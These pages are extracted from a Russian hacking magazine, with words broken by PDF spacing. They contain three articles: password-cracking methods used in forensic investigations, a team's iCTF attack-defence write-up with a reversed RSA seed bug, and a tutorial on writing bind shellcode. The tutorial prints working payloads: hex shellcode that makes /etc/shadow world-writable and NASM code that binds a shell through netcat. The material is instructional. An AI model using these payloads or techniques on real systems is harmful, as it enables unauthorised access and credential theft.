который  чаще  все го  дописы вает ся  в  конец  пароля  (вари ация  year  сред ней
сте пени).  Впро чем,  на  дан ном  эта пе  все‐таки  име ет  смысл  прос мотреть
пароли поль зовате ля и учесть вари ации, которые исполь зует имен но он.

На вто ром и треть ем эта пах обыч но вскры вает ся каж дый десятый пароль.
Ито говая  веро ятность  рас шифро вать  документ  у  сред него  поль зовате ля —
поряд ка  70%,  при чем  вре мя  ата ки  нич тожное,  а  дли на  и  слож ность  пароля
не име ют ров но никако го зна чения.

Ес ли  у  одно го  поль зовате ля  фай лы  и  учет ные  записи  защище ны  одни ми
и теми же пароля ми, это вов се не озна чает, что так вез ти будет каж дый раз.
Нап ример, в одном слу чае подоз рева емый хра нил пароли в виде имен кон ‐
тактов в телефон ной кни ге, а в дру гом сбор ник паролей сов падал с име нами
зашиф рован ных фай лов. Еще один раз фай лы были зашиф рованы наз вани ‐
ями  мест  отды ха  подоз рева емых.  Инс тру мен тов  для  авто мати зации  всех
подоб ных слу чаев прос то не сущес тву ет: даже имя фай ла сле дова телю при ‐
ходит ся сох ранять в сло варь вруч ную.

ДЛИНА НЕ ИМЕЕТ ЗНАЧЕНИЯ
Ес ли говорить о дли не и слож ности паролей, то боль шинс тво поль зовате лей
не при вык ли себя утруждать. Впро чем, даже если бы поч ти все исполь зовали
пароли  мак сималь ной  дли ны  и  слож ности,  это  не  пов лияло  бы  на  ско рость
ата ки по сло варям, сос тавлен ным из уте чек.

Ес ли ты сле дишь за новос тями, то, веро ятно, слы шал об утеч ках баз дан ‐
ных с пароля ми из Yahoo (три раза под ряд!), LinkedIn, eBay, Twitter и Dropbox.
Эти  служ бы  очень  популяр ны;  в  общей  слож ности  утек ли  дан ные  десят ков
мил лионов  учет ных  записей.  Хакеры  про дела ли  гигант скую  работу,  вос ста ‐
новив из  хешей боль шую часть паролей,  а    соб рал все  утеч ки
воеди но,  про ана лизи ровал  ситу ацию  и  сде лал  инте рес ней шие  выводы.
По  , в том, какие пароли выбира ют англо языч ные поль зовате ‐
ли, прос лежива ются чет кие законо мер ности:

Марк Бёр нетт

дан ным Мар ка

0,5% в качес тве пароля исполь зуют сло во password;•
0,4%  в  качес тве  пароля  исполь зуют  пос ледова тель нос ти  password
или 123456;

•

0,9% исполь зуют password, 123456 или 12345678;•
1,6% исполь зуют пароль из десят ки самых рас простра нен ных (top‐10);•
4,4% исполь зуют пароль из пер вой сот ни (top‐100);•
9,7% исполь зуют пароль из top‐500;•
13,2% исполь зуют из top‐1000;•
30% исполь зуют из top‐10000.•

Даль ше Марк не ана лизи ровал, но мы про дол жили его пос ледова тель ность,
вос поль зовав шись  спис ком  из  10  мил лионов  самых  популяр ных  паролей.
По нашим дан ным, пароли из это го спис ка исполь зует все го 33% поль зовате ‐
лей, а дли тель ность ата ки рас тет на три поряд ка.

Что нам дает эта информа ция? Воору жив шись ста тис тикой и сло вари ком
из  ,  мож но  поп робовать  рас ‐
шифро вать  фай лы  и  докумен ты  поль зовате ля  даже  в  тех  слу чаях,  ког да
о самом поль зовате ле ничего не извес тно  (или прос то не  уда лось получить
дос туп к компь юте ру и извлечь его собс твен ные пароли). Такая прос тей шая
ата ка  по  спис ку  из  все го  10  тысяч  паролей  помога ет  следс твию  при мер но
в 30% слу чаев.

10  тысяч  самых  рас простра нен ных  паролей

70 + 30 = 100?
В пер вой час ти статьи мы вос поль зовались для ата ки сло варем, сос тавлен ‐
ным из паролей самого поль зовате ля  (плюс неболь шие мутации). Сог ласно
ста тис тике, такая ата ка работа ет при мер но в 70% слу чаев. Вто рой метод —
исполь зование спис ка из top‐10000 паролей из онлай новых уте чек, что дает,
сно ва сог ласно ста тис тике, трид цатип роцен тную веро ятность успе ха. 70 + 30
= 100? В дан ном слу чае — нет.

Да же если «сред ний» поль зователь исполь зует одни и те же пароли, даже
если  эти  пароли  содер жатся  в  утеч ках,  ни  о  какой  гаран тии  речи  не  идет.
Офлай новые  ресур сы,  зашиф рован ные  тома  и  докумен ты  могут  быть
защище ны  прин ципи аль но  дру гими  пароля ми;  веро ятность  это го  ник то
не  изме рял. При  рас сле дова нии  прес тупле ний,  свя зан ных  с  компь юте рами,
замет но  воз раста ет  веро ятность  нар вать ся  на  поль зовате ля,  который
не  попада ет  в  катего рию  «сред них».  Говорить  о  том,  что  30%  или  70%
паролей  любого  поль зовате ля  вскры вают ся  за  нес коль ко  минут  (апри орная
веро ятность), не сов сем кор рек тно. А вот о семиде сятип роцен тной рас кры ‐
ваемос ти (апос тери орная веро ятность) рапор товать мож но.

Имен но  такими,  быс тры ми,  лег ко  авто мати зиру емы ми  и  неп лохо  прог ‐
нозиру емы ми  спо соба ми  любят  поль зовать ся  пра воох ранитель ные  орга ны,
если «доб рое сло во и пис толет» не сра баты вают.

НА ЭТОМ ВСЁ?
Ра зуме ется, на перечис ленных ата ках про цесс не оста нав лива ется. Под клю ‐
чают ся собс твен ные сло вари — как с популяр ными пароля ми, так и сло вари
англий ско го и наци ональ ного язы ков. Как пра вило, исполь зуют ся  вари ации,
здесь еди ного стан дарта нет. В ряде слу чаев не брез гуют и ста рым доб рым
brute  force:  клас тер  из  двад цати  рабочих  стан ций,  каж дая  из  которых  уком ‐
плек тована  четырь мя GTX  1080, —  это  уже  пол милли она  паролей  в  секун ду
для фор мата Office 2013, а для архи вов в фор мате RAR 5 и вов се за два мил ‐
лиона. С такими ско рос тями уже мож но работать.

Ра зуме ется, пароли к учет ным записям, которые мож но извлечь из компь ‐
юте ра  подоз рева емо го,  далеко  не  всег да  помогут  в  рас шифров ке  фай лов
и  крип токон тей неров.  В  таких  слу чаях  полиция  не  стес няет ся  прив лекать
и  дру гие  методы.  Так,  в  одном  слу чае  сле дова тели  стол кну лись  с  зашиф ‐
рован ными дан ными на ноут буках (сис темные накопи тели были зашиф рованы
с исполь зовани ем BitLocker Device Protection сов мес тно с модулем TPM 2.0).

Ата ковать  эту  защиту  «в  лоб» бес полез но;  никакой пароль  в  этом слу чае
поль зователь  не  уста нав лива ет.  Помог  ана лиз  дру гого  устрой ства,
на которое поль зователь заходил с помощью той же учет ной записи Microsoft
Account. Пос ле вос ста нов ления пароля к Microsoft Account рас шифров ка сис ‐
темно го накопи теля ста ла делом тех ники. В дру гом слу чае дан ные с зашиф ‐
рован ных ноут буков были най дены на сер вере в незащи щен ном виде.

Как  защитить ся?  В  пер вую  оче редь  про веди  аудит  сво их  паролей.  Поп ‐
робуй  про делать  все  то,  что  показа ли  мы.  Уда лось  взло мать  пароль
к  докумен ту,  архи ву,  зашиф рован ному  тому  за  нес коль ко  минут?  Делай
выводы. Не уда лось? Методов мяг кого убеж дения ник то не отме нял.

http://www.theverge.com/2017/2/12/14583124/nasa-sidd-bikkannavar-detained-cbp-phone-search-trump-travel-ban
https://arstechnica.com/tech-policy/2017/02/justice-naps-man-jailed-16-months-for-refusing-to-reveal-passwords/
https://xato.net/
https://xato.net/10-000-top-passwords-6d6380716fe0
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10k_most_common.txt
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ВЗЛОМ

3–4  мар та  2017  года  про ходи ли  еже год ные  сорев нования
по информа цион ной безопас ности  , которые орга низу ‐
ет  коман да    из  уни вер ситета  Сан та‐Бар бары
(UCSB),  а  в  этом  году  к  ним  при соеди нились  SEFCOM
из  уни вер ситета  Ари зоны  (ASU).  Вто рой  год  под ряд  эти
сорев нования выиг рыва ет наша коман да   —
коман да,  кос тяк  которой сос тавля ют сту ден ты и выпус кни ки
факуль тета вычис литель ной матема тики и кибер нетики Мос ‐
ков ско го  государс твен ного  уни вер ситета  име ни  М.  В.
Ломоно сова.  И  сегод ня  мы  рас ска жем  читате лям  жур нала
«Хакер» о том, как это было :).

iCTF
Shellphish

Bushwhackers

Скром ные  пар ни  из  МГУ  не  очень  афи ширу ют  свои  лич ности,  но  мы,
как самый передо вой рупор хакер ско го искусс тва на тер ритории ex‐USSR :),
счи таем,  что стра на дол жна знать сво их  геро ев. Вот самая пуб личная  часть
груп пы — авто ры этой статьи:

Мак сим Маль ков, Эмиль Лер нер, Ана толий Ива нов, Вадим Шей даев,

Роман Лоз ко

iCTF  —  клас сичес кий  attack‐defenсe  CTF,  пра вила  его  сле дующие:  каж дой
коман де  дает ся  дос туп  на  типовую  машину  (вул нбокс)  с  уяз вимыми  сер ‐
висами, работос пособ ность которых учас тни ки дол жны под держи вать на про ‐
тяже нии  всей  игры.  Все  вул нбок сы  команд‐учас тниц  объ еди нены  в  сеть.
Обна ружив  уяз вимость  в  одном  из  пред ложен ных  сер висов,  необ ходимо
написать экс пло ит, который кра дет фла ги (сек ретную информа цию) у дру гих
команд, ну и запат чить най ден ную уяз вимость на сво ей машине. Уяз вимос ти
зачас тую  пред став ляют  собой  типовые  баги  из  реаль ной  жиз ни,  нап ример

, но чаще — что‐то
хит роум ное  логичес кое,  что  нель зя  прос то  так  взять  и  запат чить  (или  даже
обна ружить).

SQL  injection, Remote Code Execution, Buffer Overflow

CTF: Capture the Flag. Как взлом стал спор тивным
сос тязани ем

На attack‐defenсe сер висы коман дам обыч но раз дают ся в виде обра за вир ‐
туаль ной машины,  который  каж дая  коман да раз ворачи вает  самос тоятель но.
Для  дос тупа  к  игро вой  сети  тра дици онно  исполь зует ся  VPN. Одна ко  в  этот
раз  орга низа торы  решили  пой ти  «по  дороге  с  обла ками»  и  раз местить  все
вул нбок сы  самос тоятель но,  в  AWS  cloud  —  коман ды‐учас тни цы  получа ли
лишь SSH‐дос туп к этим машинам. VPN‐дос тупа не было, и вул нбокс остался
единс твен ным  спо собом  попасть  в  игро вую  сеть.  Так же  орга низа торы  пре ‐
дос тавили  спе циаль ный  Python‐модуль,  реали зующий  API,  через  который
про исхо дило  все  вза имо дей ствие  с  ними  —  даже  отправ ка  сооб щений
о проб лемах (хотя все всё рав но исполь зовали IRC) и получе ние SSH‐клю чей
для дос тупа к вул нбок сам. О пос леднем под робнее погово рим поз днее :).

Все  игро вое  вре мя  —  а  в  этот  раз  игра  про дол жалась  аж  24  часа
без переры ва! — раз бива ется на раун ды по нес коль ко минут. Каж дый раунд
бот  орга низа торов  про веря ет  дос тупность  сер висов  и  добав ляет  све жие
фла ги,  которые  дей стви тель ны  и  при носят  очки  лишь  в  течение  нес коль ких
пос леду ющих раун дов. Зах вачен ные фла ги сда ют через API ско рин говой сис ‐
темы  орга низа торов.  Если  сдашь  успешно  —  коман де  начис ляют  фла ги
за ата ку.

Од на  из  осо бен ностей  игры  сос тоит  в  том,  что  для  получе ния  очков 
.  Мож но  подож дать,

пока дру гая коман да решит сер вис и про экс плу ати рует уяз вимость на тво ей
машине. Тог да во вхо дящем сетевом тра фике мож но будет най ти чужой экс ‐
пло ит,  разоб рать ся,  как  он  работа ет,  и  исполь зовать  его  про тив  дру гих
команд. Это очень важ ная осо бен ность любого attack‐defenсe CTF. В каких‐то
слу чаях  экс пло ит  три виаль но  пов торя ется.  Иног да  он  помога ет  натол кнуть
на  мысль,  где  находит ся  уяз вимость,  а  иног да  экс пло ит  слож но  отли чить
от бота орга низа торов. Быва ет,  что монито ринг  тра фика помога ет  улуч шить
собс твен ный экс пло ит. Даже если мы  уже  «решили» сер вис и ста ли экс плу ‐
ати ровать  там  какую‐то  уяз вимость,  час то  ока зыва лось,  что  эта  уяз вимость
была не единс твен ной, и мы находи ли экс пло иты дру гих  уяз вимос тей в  тра ‐
фике.  Не  говоря  уж  о  том,  что  монито ринг  тра фика  прос то  необ ходим
для защиты (а не толь ко пов торения чужих экс пло итов).

не -

обя затель но  находить  уяз вимос ти  самос тоятель но

Вул нбокс  устро ен  таким  обра зом,  что  каж дый  сер вис  запущен  от  сво его
поль зовате ля.  Боль ше  сер висы  никак  не  изо лиро ваны  друг  от  дру га  (хотя
на это сто ит обра щать вни мание).

Как мы ска зали, на этом iCTF вул нбокс был единс твен ным спо собом дос тупа
в игро вую сеть. Это при вело к тому, что мно гие коман ды запус кали свои экс ‐
пло иты  для  прос тоты  пря мо  на  вул нбок се,  по  соседс тву  с  уяз вимыми  сер ‐
висами.  Некото рые  коман ды  не  оза боти лись  изо ляци ей  экс пло ита  от  уяз ‐
вимых прог рамм, чем мы смог ли с успе хом вос поль зовать ся.

Уяз вимость в сер висе, дающая RCE, поз воля ет выпол нять вооб ще любые
коман ды  на машине  с  пра вами  поль зовате ля  сер виса. В  некото рых  слу чаях
получа ется через уяз вимость в одном сер висе вытас кивать фла ги из дру гих
сер висов,  чем  мы  тоже,  конеч но,  вос поль зовались.  Хотя  при  под готов ке
игро вого обра за орга низа торы ста рают ся, что бы это было невоз можно, пос ‐
коль ку это не очень чес тно. Но это далеко не самое инте рес ное.

Из‐за  упо мяну той  осо бен ности  орга низа ции  игры  через  RCE  в  сер висе
иног да получа лось вытащить исходные тек сты экс пло итов, которые коман ды
запус кали на машине. Сами экс пло иты, к сожале нию, нам мало чем помог ли,
потому что к тому момен ту мы их уже тоже написа ли.

Кста ти,  в  коде  экс пло итов  боль шинс тво  команд  исполь зовали  API  орга ‐
низа торов  для  отправ ки  фла гов  и  получе ния  за  них  очков,  поэто му  мно гие
най ден ные с помощью RCE экс пло иты содер жали логин и пароль к это му API
в откры том виде. Как мы уже говори ли, этот API исполь зовал ся и для получе ‐
ния  SSH‐дос тупа  на  вул нбокс.  Таким  обра зом,  мы  получи ли  root‐дос туп
к  некото рым  машинам  дру гих  команд,  отку да  мож но  было  собирать  фла ги
со всех сер висов сра зу.

Из началь но  мы  вос поль зовались  советом  орга низа торов  и  тоже  запус ‐
кали наши экс пло иты пря мо на вул нбок се. Мы заранее пре дус мотре ли, что бы
экс пло иты лежали в дирек тори ях, недос тупных для чте ния сер висам. Да и они
все  рав но  не  содер жали  пароль  от  API,  пос коль ку  мы  исполь зовали  свою
фир менную сис тему для уче та фла гов и отправ ки их орга низа торам для под ‐
сче та.

Од нако  вско ре  ста ло  понят но,  что  одна  не  очень  мощ ная  вир туал ка
не  может  потянуть  сра зу  и  запуск  экс пло итов  про тив  нес коль ких  сотен
команд,  и  работу  уяз вимых  сер висов. Поэто му мы  под няли мощ ный  сер вер
в  том же  реги оне  AWS,  проб росили  SSH‐тун нель  до  вул нбок са  и  запус кали
экс пло иты  там.  Это  поз волило  нам  исполь зовать  экс пло иты  про тив  сот ни
команд без ощу тимой сетевой задер жки.

В  кон це  игры  было  пол ное  безумие.  За  семь  часов  до  окон чания  мы
решили пос ледний сер вис, и тог да про тивос тояние меж ду нами и нашим бли ‐
жай шим сопер ником выш ло на новый уро вень. Раз ница в абсо лют ном сче те
была  срав нима  с  количес твом очков,  зараба тыва емых  коман дами  за  раунд!
Сто ило  нашим  экс пло итам  перес тать  работать  хотя  бы  на  один  раунд,
и мы бы сра зу же зна читель но отста ли… а сла бых звень ев было мно го: сам
вул нбокс, наш сер вак на Amazon, VPN меж ду ними, нес табиль но работа ющий
API орга низа торов для сда чи фла гов…

Ло гич но, что мы силь но перепу гались, ког да у нас вдруг упал и переза пус ‐
тился вул нбокс. Это ведь мог ло быть что угод но. Кто‐то смог про экс плу ати ‐
ровать  машину  и  получить  рут?  Или  он  прос то  ребут нулся  под  наг рузкой?
В сумато хе мы потеря ли один раунд очков, не сумев сори енти ровать ся и вос ‐
ста новить  VPN  за  нес коль ко  минут.  К  пос ледовав шему  за  ним  еще  одно му
ребуту мы были готовы луч ше и смог ли вос ста новить связь в течение одно го
раун да,  сох ранив  поток  очков.  По  кос венным  приз накам  ребуты  были  выз ‐
ваны неудач ными попыт ками сопер ников про экс плу ати ровать извес тные баги
в ядре для повыше ния при виле гий до рута.

Ну  и  в  самом‐самом  кон це  игры,  на  десерт, мы получи ли очень мощ ную
сетевую  DoS‐ата ку.  Как  выяс нилось  впос ледс твии,  ата ка  была  нап равле на
кон крет но на нас, про изво дилась с вул нбок сов боль шого чис ла команд‐учас ‐
тни ков,  пред положи тель но  взло ман ных  кем‐то,  и  при вела  к  тому,  что  лег ла
вооб ще  вся  игро вая  сеть,  а  не  толь ко  мы.  На  тот  момент  у  нас  было  нез ‐
начитель ное пре иму щес тво в очках.

Ор ганиза торы  вре мен но  прер вали  игру,  что бы  разоб рать ся,  в  чем  при ‐
чина сетевых проб лем. Пос ле часа раз биратель ств с сетью игру поп робова ли
про дол жить, но сеть так и не смог ла нор маль но под нять ся.

 
(из  IRC,  Giovanni  «zanardi»  Vigna  —  про фес сор  UCSB,  орга низа тор
iCTF)

<zanardi> Everything is thoroughly fucked [sic]

Ор ганиза торы  решили  на  этом  закон чить  игру,  одна ко  объ явле ние  победи ‐
теля отло жили на неделю: меж ду пер выми дву мя коман дами в топе был очень
малень кий раз рыв.

Пос ле  переп ровер ки  логов  и  дам пов  сетево го  тра фика  они  приш ли
к  выводу,  что  таб лица  очков  на  момент  оста нов ки  игры  соот ветс тву ет  дей ‐
стви тель нос ти,  и  объ яви ли  нас,  коман ду  Bushwhackers,  победи теля ми,  что,
помимо про чего, дает попада ние в финал DEFCON CTF в Лас‐Вегасе.

БОНУС: РАЗБОР СЕРВИСА
Дан  исполня емый  бинарь,  который  пред став ляет  собой  эму лятор  про цес ‐
сора,  при думан ного  орга низа тора ми.  Рядом  валя ется  файл  ,
содер жащий прог рамму, исполня емую на этом про цес соре.

world.rom

Как  ока залось  впос ледс твии,  про цес сор  не  новый.  Пер вый  раз  он  был
исполь зован на финале CSAW 2016. Одна ко мы решили не идти лег ким путем
и сами раз ревер сили про цес сор и написа ли дизас сем блер.

 —  это  игра,  где  нуж но  бро дить  по  бан ку,  заводить  себе  кар ‐
точку,  покупать  кар точки  у  кар дера,  писать  на  про вода  и  уми рать  (да,  там
была  пре дус мотре на  такая  кон цовка!).  Фла ги  хра нились  в  сис теме  в  виде
име ни  дер жателя  кар ты.  Про вероч ная  сис тема  заг ружала  фла ги  в  сис тему,
регис три руя дебето вые кар ты.

World.rom

В задании нуж но было заметить, что у сарая нет одной сте ны: при ват ный
ключ  генери ровал ся  каж дый  раз  один  и  тот  же.  То  есть  у  каж дого  кли ента
один и тот же «сек ретный» ключ. Так как сер вис пре дос тавля ет воз можность
выдать флаг  тому,  у  кого  есть  валид ная  под пись  зап роса  на флаг,  то  даль ‐
нейшая экс плу ата ция не вызыва ет никаких труд ностей:
1. Кра дем дебето вую кар ту у нез наком ца‐кар дера, сто яще го в сто роне.
2. Идем к кас сиру в банк.
3. Про сим  у  него  выдать  флаг  по  под писи  (мож но  взять  любую  валид ную,
в том чис ле свою).

4. По луча ем флаг!
5. ??????????
6. PROFIT.

По чему  при ват ный  ключ  может  генери ровать ся  один  и  тот  же?  Нуж но  пос ‐
мотреть, как про исхо дит генера ция клю ча.

В ходе ревер синга про цес сора встре чает ся обра бот ка спе циаль ных яче ек
памяти, при обра щении к  которым в   про исхо дят некото ‐
рые  спе циаль ные  дей ствия,  будем  называть  их  пор тами.  При  обра щении
к пор ту 202h выс тавля ется флаг  . Где он
еще исполь зует ся? В дан ном слу чае с поис ком cross‐references может быть
беда, мож но деком пиль нуть всю прог рамму в файл (Generate C file) и даль ше
поис кать по тек сту.

ct64::operator[]

CPU_context‐>pending_create_out

Глав ная про цеду ра эму ляции про цес сора выг лядит так:

void __cdecl ct64::run(ct64 *const CPU_context)
{
 while ( ct64::tick(CPU_context) )
   ct64::flush_changes(CPU_context);
}

В    про исхо дит  эму ляция  инс трук ций  про цес сора.  Пос мотрим
. Там дей стви тель но обна ружи вает ся дан ный код:

ct64::tick
ct64::flush_changes

if ( CPU_context‐>pending_create_out )
{
 std::vector<unsigned short,std::allocator<unsigned short>>::push_b
ack(
   &CPU_context‐>create_out_buffer,
   &CPU_context‐>main_memory[514]);
 if ( std::vector<unsigned short,std::allocator<unsigned short>>::
size(&CPU_context‐>create_out_buffer) > 0x7F )
 {
   v1 = std::vector<unsigned short,std::allocator<unsigned short>>::
operator[](&CPU_context‐>create_out_buffer, 0LL);
   memcpy(&account, v1, 0x100uLL);
   std::vector<unsigned short,std::allocator<unsigned short>>::clear(
&CPU_context‐>create_out_buffer);
   goodrand(account.acct, 8uLL);
   gen_rsa(account.pubkey, account.privkey);
   snprintf(
     acctstr,
     0x40uLL,
     "%s/%04x%04x%04x%04x",
     CPU_context‐>acct_path,
     account.acct[3],
     account.acct[2],
     account.acct[1],
     account.acct[0]);
   fp = fopen(acctstr, "r");
   if ( fp )
     exit(1);
   fp = fopen(acctstr, "w");
   if ( !fp )
     exit(1);
   fwrite(&account, 0x208uLL, 1uLL, fp);
   fclose(fp);
   std::vector<unsigned short,std::allocator<unsigned short>>::resize
(&CPU_context‐>create_in_buffer, 0x104uLL);
   v2 = std::vector<unsigned short,std::allocator<unsigned short>>::
operator[](&CPU_context‐>create_in_buffer, 0LL);
   memcpy(v2, &account, 0x208uLL);
   v3 = std::vector<unsigned short,std::allocator<unsigned short>>::
end(&CPU_context‐>create_in_buffer)._M_current;
   v4._M_current = std::vector<unsigned short,std::allocator<unsigned
 short>>::begin(&CPU_context‐>create_in_buffer)._M_current;
   std::reverse<<span class=nobr>gnu_cxx::</span>normal_iterator<
unsigned short *,std::vector<unsigned short,std::allocator<unsigned 
short>>>>(
     v4,
     (<span class=nobr>gnu_cxx::</span>normal_iterator<short unsigned
 int*,std::vector<short unsigned int,std::allocator<short unsigned 
int> > >)v3);
 }
 CPU_context‐>pending_create_out = 0;
}

Вот и нуж ная фун кция  . Пос мотрим, что внут ри:gen_rsa

void __cdecl gen_rsa(mem_t *pub_out, mem_t *priv_out)
{
 __int64 v2; // rax@1
 uint64_t rseed; // [sp+18h] [bp‐B8h]@1
 mpz_t intern; // [sp+20h] [bp‐B0h]@1
 mpz_t intern2; // [sp+30h] [bp‐A0h]@1
 mpz_t p; // [sp+40h] [bp‐90h]@1
 mpz_t q; // [sp+50h] [bp‐80h]@1
 mpz_t n; // [sp+60h] [bp‐70h]@1
 mpz_t e; // [sp+70h] [bp‐60h]@1
 mpz_t d; // [sp+80h] [bp‐50h]@1
 mpz_t toitent; // [sp+90h] [bp‐40h]@1
 gmp_randstate_t state; // [sp+A0h] [bp‐30h]@1
 __int64 v13; // [sp+C8h] [bp‐8h]@1
 v13 = *MK_FP(<span class=nobr>FS</span>, 40LL);
 goodrand(rseed, 8uLL);
 __gmp_randinit_mt(state, 8LL);
 __gmp_randseed_ui(state, rseed);
 __gmpz_inits(intern, intern2, p, q, n);
 __gmpz_urandomb(intern, state, 510LL);
 __gmpz_nextprime(p, intern);
 __gmpz_urandomb(intern, state, 514LL);
 __gmpz_nextprime(q, intern);
 __gmpz_mul(n, p, q);
 __gmpz_sub_ui(intern, p, 1LL);
 __gmpz_sub_ui(intern2, q, 1LL);
 __gmpz_lcm(toitent, intern, intern2);
 __gmpz_set_ui(e, 65537LL);
 __gmpz_invert(d, e, toitent);
 deconvert(pub_out, n);
 deconvert(priv_out, d);
 __gmpz_clears(intern, intern2, p, q, n);
 v2 = *MK_FP(<span class=nobr>FS</span>, 40LL) ^ v13;
}

Ви дишь ли ты то, что вижу я? Фун кция   генери рует ран дом:goodrand

void __cdecl goodrand(void *buf, size_t count)
{
 if ( randfd == ‐1 )
   randfd = open("/dev/urandom", 0, 0LL);
 read(randfd, buf, count);
}

Пос мотрим  еще  раз  на  вызов  этой  фун кции  из  : 
.  Мы  переда ем  rseed  по  зна чению,  а  не  по  ссыл ке.  Это  зна чение

не  ини циали зиро вано,  кро ме  того,  оно  вос при нима ется  как  ука затель.
При этом даль ше мы счи таем, что в  rseed записа ны слу чай ные бай ты. Соот ‐
ветс твен но, вся суть проб лемы в том, что прог раммист забыл взять ука затель
на  rseed.  Почему  прог рамма  от  это го  не  пада ет?  Оста вим  это  в  качес тве
упражне ния читате лю.

gen_rsa goodrand(rseed,
8uLL);

В ассем блер ном коде это выг лядит так: 
. Надо заменить   на  . Опкод   в дан ном слу ‐

чае — это  , опкод   —  . Пос ле замены это го бай та (получа ем 
) про веря ем резуль тат:

mov rax, [rbp+rseed], в hex
48 8B 85 48 FF FF FF mov lea mov

8B lea 8D 48 8D 85
48 FF FF FF

lea rax, [rbp+rseed]
goodrand(&rseed, 8uLL);

За пуск игры показы вает,  что  теперь  каж дый раз  генери руют ся раз ные пары
клю чей, при этом логика работы не наруше на.

https://xakep.ru/2016/06/14/ctf/
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ВЗЛОМ

Ты  навер няка  зна ешь,  что  прак тичес ки  каж дый  экс пло ит
содер жит в сво ем сос таве так называ емый shell‐код, выпол ‐
няющий ся  при  работе  экс пло ита. С  пер вого  взгля да может
показать ся,  что  писать  shell‐код  —  удел  избран ных,  ведь
для  это го  необ ходимо  сна чала  пос тичь  дзен  байт‐кода.
Одна ко  все  не  так  страш но.  В  этой  статье  я  рас ска жу,
как  написать  прос той  bind  shellcode,  пос ле  чего  мы  его
дорабо таем и сде лаем одним из самых ком пак тных в сво ем
клас се.

Shell‐код  пред став ляет  собой  набор  машин ных  команд,  поз воля ющий
получить  дос туп  к  коман дно му  интер пре тато ру  (cmd.exe  в  Windows  и  shell
в Linux, от  чего, собс твен но, и про исхо дит его наз вание). В более широком
смыс ле shell‐код — это любой код, который исполь зует ся как payload (полез ‐
ная  наг рузка  для  экс пло ита)  и  пред став ляет  собой  пос ледова тель ность
машин ных  команд,  которую  выпол няет  уяз вимое  при ложе ние  (этим  кодом
может быть так же прос тая сис темная коман да, вро де 

:
chmod 777 /etc/shad‐

ow)

x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73
x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01
xcdx80x40xcdx80

НЕМНОГО ТЕОРИИ
Уве рен, что мно гие наши читате ли и так зна ют те исти ны, которые я хочу опи ‐
сать в теоре тичес ком раз деле, но не будем забывать про недав но при соеди ‐
нив шихся к нам хакеров и пос тара емся облегчить их вхож дение в наше неп ‐
ростое дело.

Сис темные вызовы
Сис темные вызовы обес печива ют связь меж ду прос транс твом поль зовате ля
(user mode) и прос транс твом ядра (kernel mode) и исполь зуют ся для мно жес ‐
тва задач, таких, нап ример, как запуск фай лов, опе рации вво да‐вывода, чте ‐
ния и записи фай лов.

Для  опи сания  сис темно го  вызова  через  ассем блер  исполь зует ся  соот ‐
ветс тву ющий  номер,  который  вмес те  с  аргу мен тами  необ ходимо  вно сить
в соот ветс тву ющие регис тры.

Ре гис тры
Ре гис тры — спе циаль ные ячей ки памяти в про цес соре, дос туп к которым осу ‐
щест вля ется  по  име нам  (в  отли чие  от  основной  памяти).  Исполь зуют ся
для  хра нения  дан ных  и  адре сов.  Нас  будут  инте ресо вать  регис тры  обще го
наз начения: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP.

Стек
Сте ком  называ ется  область  памяти  прог раммы  для  вре мен ного  хра нения
про изволь ных  дан ных.  Важ но  пом нить,  что  дан ные  из  сте ка  извле кают ся
в  обратном  поряд ке  (что  сох ранено  пос ледним  —  извле кает ся  пер вым).
Перепол нение  сте ка  —  дос таточ но  рас простра нен ная  уяз вимость,
при которой у ата кующе го появ ляет ся воз можность переза писать адрес воз ‐
вра та фун кции на адрес, содер жащий shell‐код.

Проб лема нулево го бай та
Мно гие фун кции для работы со стро ками исполь зуют нулевой байт для завер ‐
шения стро ки.

Та ким  обра зом,  если  нулевой  байт  встре тит ся  в  shell‐коде,  то  все  пос ‐
леду ющие за ним бай ты про игно риру ются и код не сра бота ет, что нуж но учи ‐
тывать.

НЕОБХОДИМЫЕ НАМ ИНСТРУМЕНТЫ
  (хотя мы и будем писать код под x86, сбор ка

на машине x86_64 проб лем выз вать не дол жна);
• Linux Debian x86/x86_64

 — сво бод ный  (LGPL и лицен зия BSD) ассем блер для архи тек туры
Intel x86;

• NASM

 — ком понов щик;• LD

  —  ути лита  для  работы  с  фай лами,  которая  понадо бит ся  нам
для извле чения байт‐кода из бинар ного фай ла;

• objdump

 — ком пилятор;• GCC

 — ути лита для трас сиров ки сис темных вызовов.• strace

Ес ли  бы мы  соз давали  bind  shell  клас сичес ким  спо собом,  то  для  это го  нам
приш лось бы нес коль ко раз дер гать сетевой сис темный вызов 
:

socketcall(
)

net.h/SYS_SOCKET — что бы соз дать струк туру сокета;•
net.h/SYS_BIND — при вязать дес крип тор сокета к IP и пор ту;•
net.h/SYS_LISTEN — начать слу шать сеть;•
net.h/SYS_ACCEPT — начать при нимать соеди нения.•

И  в  конеч ном  ито ге  наш  shell‐код  получил ся  бы  дос таточ но  боль шим.
В зависи мос ти от реали зации в сред нем выходит 70 байт, что отно ситель но
нем ного… Но не будем забывать нашу цель — написать мак сималь но ком пак ‐
тный shell‐код, что мы и сде лаем, при бег нув к помощи  !netcat

ПОЧЕМУ РАЗМЕР ТАК ВАЖЕН ДЛЯ SHELL-КОДА?
Ты,  навер ное,  слы шал,  что  при  экс плу ата ции  уяз вимос тей  на  перепол нение
буфера  исполь зует ся  прин цип  перех вата  управле ния,  ког да  ата кующий
переза писы вает адрес воз вра та фун кции на адрес, где лежит shell‐код. Раз ‐
мер  shell‐кода  при  этом  огра ничен  и  не  может  пре вышать  опре делен ного
зна чения.

Код
Shell‐код  мы  будем  писать  на  чис том  ассем бле ре,  тес тировать  —  в  прог ‐
рамме  на  С.  Наша  заготов ка  ,  раз битая  для  удобс тва
на бло ки, выг лядит сле дующим обра зом:

bind_shell_1.nasm

; Блок 1
section .text
global _start
_start:
; Блок 2
xor edx, edx
push edx
push 0x35343332  ; ‐vp12345
push 0x3170762d
mov esi, esp
; Блок 3
push edx
push 0x68732f2f  ; ‐le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
; Блок 4
push edx
push 0x636e2f2f  ; /bin//nc
push 0x6e69622f
mov ebx, esp
; Блок 5
push edx
push esi
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al,11
int 0x80

Сох раним ее как   и далее ском пилиру ем:super_small_bind_shell_1.nasm

